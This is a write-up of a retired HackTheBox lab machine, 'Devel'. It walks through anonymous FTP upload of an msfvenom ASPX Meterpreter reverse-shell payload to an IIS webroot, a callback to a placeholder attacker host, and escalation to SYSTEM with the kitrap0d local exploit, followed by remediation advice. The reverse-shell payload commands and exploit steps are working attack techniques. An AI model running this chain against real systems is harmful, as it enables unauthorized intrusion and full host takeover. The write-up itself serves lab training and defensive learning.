Devel β Anonymous FTP β ASPX webshell β Meterpreter β Local exploit β SYSTEM (Lab)
Date: 2025-10-19
TL;DR
Anonymous FTP allowed uploading an ASPX webshell. I uploaded a Meterpreter ASPX payload and triggered it via HTTP to get a Meterpreter session. After enumerating the host and running a local exploit suggester, I used a 32-bit local exploit to escalate to NT AUTHORITY\SYSTEM. All testing was performed on a retired HackTheBox lab VM in an isolated environment. PoC artifacts in this writeup are sanitized.
Scope & permission
This work was performed on a retired HackTheBox machine in a lab I control. All commands and artifacts in this document are sanitized for public release. Do not run exploit code against third-party or production systems.
Environment (sanitized)
- Target:
TARGET_IP(devel) - Discovered services:
- FTP β anonymous allowed (Microsoft ftpd)
- HTTP β Microsoft IIS 7.5 (IIS7)
- OS: Windows (32-bit / x86) β determined from Meterpreter
sysinfo.
Tools used
nmap, ftp (or any FTP client), msfvenom (payload generation), msfconsole (multi/handler & local exploit), a web browser / curl to trigger the uploaded webshell, netstat/ss, Meterpreter post modules (local_exploit_suggester), and common shell utilities.
All steps were performed in an isolated lab.
Chain summary (short)
- Port scan β anonymous FTP discovered.
- Upload ASPX payload (Meterpreter) via anonymous FTP.
- Trigger the ASPX payload through IIS to get a Meterpreter session.
- Use Meterpreter to enumerate and confirm x86 (32-bit) target.
- Run
post/multi/recon/local_exploit_suggesterto find suitable local exploits. - Launch a 32-bit local exploit (lab-only) to spawn a SYSTEM session.
Detailed, reproducible (sanitized) steps
1) Initial scan
nmap -sCV -T4 --open -oA recon --stats-every 5s TARGET_IP
Observed (sanitized):
- FTP (21) β Microsoft ftpd β anonymous FTP login allowed
- HTTP (80) β Microsoft-IIS/7.5 (IIS7)
2) Confirm anonymous FTP and list files
ftp TARGET_IP
username: anonymous
password: (blank)
ls
Noted aspnet_client/ (empty), iisstart.htm, and welcome.png. Nothing immediately interesting in the pages, but anonymous write/upload was possible.
3) Generate an ASPX Meterpreter payload (lab-only)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=LPORT -f aspx > devel.aspx
Note: On restricted networks, ports <1024 may require privileges β choose a port you can receive on.
4) Upload the ASPX to the webroot via anonymous FTP
ftp TARGET_IP
login as anonymous
put devel.aspx
# confirm file is present (e.g., in IIS webroot)
If the FTP root maps to the IIS webroot, the uploaded devel.aspx becomes web-accessible (for example: http://TARGET_IP/devel.aspx).
5) Set up a handler and trigger the webshell
# in msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST ATTACKER_IP
set LPORT LPORT
set ExitOnSession false
exploit -j
Trigger the webshell by browsing to the uploaded ASPX (or curl http://TARGET_IP/devel.aspx) β this should call back to your handler and create a Meterpreter session.
6) Interact with the Meterpreter session
# in msfconsole
sessions -i <id>
# at meterpreter prompt
sysinfo # confirm OS and architecture (Observed x86)
pwd # observed C:\Windows\system32\inetsrv
From this session, sysinfo reported 32-bit (x86) and the current working directory was C:\Windows\System32\inetsrv. Ensure local exploit choices match the discovered architecture.
7) Upload / move to writable folders (if needed)
The web context often allows writing to C:\Windows\Temp or other temp locations. Use such a path to stage additional binaries or exploits as required.
8) Enumerate and suggest local exploits
run post/multi/recon/local_exploit_suggester
This returns a prioritized list of local exploits that may work on the target given OS/patch level/architecture.
9) Launch a 32-bit local exploit (lab-only)
# in msfconsole
use exploit/windows/local/ms10_015_kitrap0d
set SESSION <meterpreter-session-id>
set LHOST ATTACKER_IP
set LPORT LPORT
set PAYLOAD windows/meterpreter/reverse_tcp
exploit -j
The exploit succeeded and a new background session with SYSTEM privileges was created.
Important: choose a local exploit appropriate to the discovered OS, arch, and patch level.
10) Verify SYSTEM and capture flags
# switch to the new session
sessions -i <new-session-id>
getuid # shows NT AUTHORITY\SYSTEM
# retrieve flags
cd C:\Users\<user>\Desktop
type user.txt
cd C:\Users\Administrator\Desktop
type root.txt
Impact
Full host compromise: anonymous FTP + writable webroot allowed remote payload upload β web-executable payload β remote shell β local exploit β SYSTEM.
On real systems this chain would allow attackers to exfiltrate sensitive data, create persistence, and move laterally.
Remediation (prioritized)
- Disable anonymous FTP or restrict it to an isolated, non-webroot directory.
- Harden IIS/FTP mapping: deny execute permission on upload directories; store uploads outside the web-executable tree.
- Patch Windows and apply vendor fixes.
- Least privilege & segmentation.
- Monitoring & alerting.
- File integrity & upload validation.
Appendix / Notes
- All artifacts and commands in this document are sanitized for public release and were executed in an isolated, controlled lab environment.
- This writeup documents a common yet preventable attack chain; it is presented for defensive awareness and remediation guidance only.